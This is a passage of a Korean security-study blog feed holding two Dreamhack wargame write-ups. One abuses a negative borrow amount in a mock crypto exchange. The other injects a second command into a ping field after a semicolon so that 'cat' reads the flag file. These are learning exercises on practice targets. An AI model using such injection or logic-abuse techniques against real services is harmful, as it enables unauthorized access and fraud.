data-filename=&quot;캡처28.JPG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;967&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처29.JPG&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;674&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYRsKk/btsNA5fvuhC/tkgoG7SP8ACEOKVQDkmIVk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYRsKk/btsNA5fvuhC/tkgoG7SP8ACEOKVQDkmIVk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYRsKk/btsNA5fvuhC/tkgoG7SP8ACEOKVQDkmIVk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYRsKk%2FbtsNA5fvuhC%2FtkgoG7SP8ACEOKVQDkmIVk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1083&quot; height=&quot;674&quot; data-filename=&quot;캡처29.JPG&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;674&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;guest로 로그인했더니 위와 같이 나왔는데, 먼저 산타 사설 거래소에서 돈을 빌려야겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처30.JPG&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;262&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIIrfD/btsNChMORYR/EcK2CH7es67fceyw66NyMk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIIrfD/btsNChMORYR/EcK2CH7es67fceyw66NyMk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIIrfD/btsNChMORYR/EcK2CH7es67fceyw66NyMk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIIrfD%2FbtsNChMORYR%2FEcK2CH7es67fceyw66NyMk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1247&quot; height=&quot;262&quot; data-filename=&quot;캡처30.JPG&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;262&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본격적으로 빌리기 전에 문제 파일에서 제공된 소스코드의 주요 부분을 살펴보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DHH가 1000이상이면서, 빌린 DHH이 0일 때, Flag 구매 버튼을 누를 수 있는 것으로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처31.JPG&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;835&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wA1ag/btsNAHsKklc/KDgSuixhNtxWPwlskIeiUK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wA1ag/btsNAHsKklc/KDgSuixhNtxWPwlskIeiUK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wA1ag/btsNAHsKklc/KDgSuixhNtxWPwlskIeiUK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwA1ag%2FbtsNAHsKklc%2FKDgSuixhNtxWPwlskIeiUK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;835&quot; data-filename=&quot;캡처31.JPG&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;835&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 돈이 없으니까 DHH을 빌려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처32.JPG&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;958&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YX3GB/btsNBwp9oVl/YGZVv3f3pRX1uRkHPYlKK0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YX3GB/btsNBwp9oVl/YGZVv3f3pRX1uRkHPYlKK0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YX3GB/btsNBwp9oVl/YGZVv3f3pRX1uRkHPYlKK0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYX3GB%2FbtsNBwp9oVl%2FYGZVv3f3pRX1uRkHPYlKK0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;958&quot; data-filename=&quot;캡처32.JPG&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;958&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1000 DHH을 먼저 빌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 나서 밑부분에 1000 DHH를 DHC로 바꿨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처33.JPG&quot; data-origin-width=&quot;1114&quot; data-origin-height=&quot;967&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bieuqX/btsNBEhm5k5/k53CXKsjOyGQKjXf3TuMCK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bieuqX/btsNBEhm5k5/k53CXKsjOyGQKjXf3TuMCK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bieuqX/btsNBEhm5k5/k53CXKsjOyGQKjXf3TuMCK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbieuqX%2FbtsNBEhm5k5%2Fk53CXKsjOyGQKjXf3TuMCK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1114&quot; height=&quot;967&quot; data-filename=&quot;캡처33.JPG&quot; data-origin-width=&quot;1114&quot; data-origin-height=&quot;967&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;산타 사설 거래소에서 나와 드림 유동성 풀로 이동했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처34.JPG&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;906&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bY77Sd/btsNBCw7NhP/6L6xe0lKVJWK3rfcLr9ZK1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bY77Sd/btsNBCw7NhP/6L6xe0lKVJWK3rfcLr9ZK1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bY77Sd/btsNBCw7NhP/6L6xe0lKVJWK3rfcLr9ZK1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbY77Sd%2FbtsNBCw7NhP%2F6L6xe0lKVJWK3rfcLr9ZK1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;906&quot; data-filename=&quot;캡처34.JPG&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 바로 DHD를 빌릴 수는 없어서 일단 1000 DHC를 담보로 냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처35.JPG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;1039&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byFIBZ/btsNB4UqIs3/yhUbhsDy1n6AiSiQSAsKtK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byFIBZ/btsNB4UqIs3/yhUbhsDy1n6AiSiQSAsKtK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byFIBZ/btsNB4UqIs3/yhUbhsDy1n6AiSiQSAsKtK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyFIBZ%2FbtsNB4UqIs3%2FyhUbhsDy1n6AiSiQSAsKtK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1008&quot; height=&quot;1039&quot; data-filename=&quot;캡처35.JPG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;1039&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 나서 2000 DHD를 4번에 나눠서 빌렸다(한 번에 큰 금액을 빌리지 못한다).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처36.JPG&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XHlWo/btsNAUymVtG/Hmz5hWKORZIO76a7fPujCK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XHlWo/btsNAUymVtG/Hmz5hWKORZIO76a7fPujCK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XHlWo/btsNAUymVtG/Hmz5hWKORZIO76a7fPujCK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXHlWo%2FbtsNAUymVtG%2FHmz5hWKORZIO76a7fPujCK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;846&quot; data-filename=&quot;캡처36.JPG&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 산타 사설 거래소로 돌아왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 가지고 있는 2000 DHD를 DHH로 바꿨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 나서 -1000 DHH 빌리기를 누르면 빌린 드핵코인이 0 DHH이 되고, 남은 드핵코인은 1000 DHH이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 이제 Flag 구매 버튼을 누를 수 있는 조건이 갖춰진 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처37.JPG&quot; data-origin-width=&quot;2189&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MwpHf/btsNCfOY36k/rtIMKsqDry5CPdk3Vj7SN1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MwpHf/btsNCfOY36k/rtIMKsqDry5CPdk3Vj7SN1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MwpHf/btsNCfOY36k/rtIMKsqDry5CPdk3Vj7SN1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMwpHf%2FbtsNCfOY36k%2FrtIMKsqDry5CPdk3Vj7SN1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2189&quot; height=&quot;354&quot; data-filename=&quot;캡처37.JPG&quot; data-origin-width=&quot;2189&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 버튼을 누르면 위와 같이 플래그를 바로 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>워게임기초</category>
      <category>워게임문제</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/116</guid>
      <comments>https://s-security.tistory.com/116#entry116comment</comments>
      <pubDate>Sun, 27 Apr 2025 23:44:23 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - command-injection-chatgpt</title>
      <link>https://s-security.tistory.com/115</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - command-injection-chatgpt - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;command injection으로 플래그를 획득하는 간단한 문제이며, 플래그는&amp;nbsp; flag.py에 있다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처23.JPG&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PTQgW/btsNALIrucF/mg310ZGkrefw8rp831WFq0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PTQgW/btsNALIrucF/mg310ZGkrefw8rp831WFq0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PTQgW/btsNALIrucF/mg310ZGkrefw8rp831WFq0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPTQgW%2FbtsNALIrucF%2Fmg310ZGkrefw8rp831WFq0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1558&quot; height=&quot;320&quot; data-filename=&quot;캡처23.JPG&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처24.JPG&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cGgQMh/btsNCqwglXo/k6n5VkKLRnDWM85I8i0sF0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cGgQMh/btsNCqwglXo/k6n5VkKLRnDWM85I8i0sF0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cGgQMh/btsNCqwglXo/k6n5VkKLRnDWM85I8i0sF0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcGgQMh%2FbtsNCqwglXo%2Fk6n5VkKLRnDWM85I8i0sF0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1226&quot; height=&quot;450&quot; data-filename=&quot;캡처24.JPG&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ping을 날릴 수 있는 페이지가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처25.JPG&quot; data-origin-width=&quot;1499&quot; data-origin-height=&quot;1004&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l91kB/btsNCvqyFLJ/JMtS4iNTMePd7OifZ3gH2K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l91kB/btsNCvqyFLJ/JMtS4iNTMePd7OifZ3gH2K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l91kB/btsNCvqyFLJ/JMtS4iNTMePd7OifZ3gH2K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl91kB%2FbtsNCvqyFLJ%2FJMtS4iNTMePd7OifZ3gH2K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1499&quot; height=&quot;1004&quot; data-filename=&quot;캡처25.JPG&quot; data-origin-width=&quot;1499&quot; data-origin-height=&quot;1004&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운로드 받으면 위와 같은 코드를 볼 수 있는데, 딱히 필터링하고 있는 게 없어서 한 문장에 두 개의 명령어를 작성할 수 있는 세미콜론(;)을 이용하면 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처26.JPG&quot; data-origin-width=&quot;1528&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgxmsq/btsNCxWboxI/jtSCEqHGWIe6QUkCFh2Ep0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgxmsq/btsNCxWboxI/jtSCEqHGWIe6QUkCFh2Ep0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgxmsq/btsNCxWboxI/jtSCEqHGWIe6QUkCFh2Ep0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcgxmsq%2FbtsNCxWboxI%2FjtSCEqHGWIe6QUkCFh2Ep0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1528&quot; height=&quot;476&quot; data-filename=&quot;캡처26.JPG&quot; data-origin-width=&quot;1528&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 예시에 있던 8.8.8.8 그대로 치고 세미콜론(;)을 붙여준 다음, 바로 cat 명령어를 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처27.JPG&quot; data-origin-width=&quot;1497&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOCJKB/btsNCfId43D/7T9NcOB59D1DY1GkKyuavk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOCJKB/btsNCfId43D/7T9NcOB59D1DY1GkKyuavk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOCJKB/btsNCfId43D/7T9NcOB59D1DY1GkKyuavk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOCJKB%2FbtsNCfId43D%2F7T9NcOB59D1DY1GkKyuavk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1497&quot; height=&quot;617&quot; data-filename=&quot;캡처27.JPG&quot; data-origin-width=&quot;1497&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 플래그값이 출력된 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>웹해킹</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/115</guid>
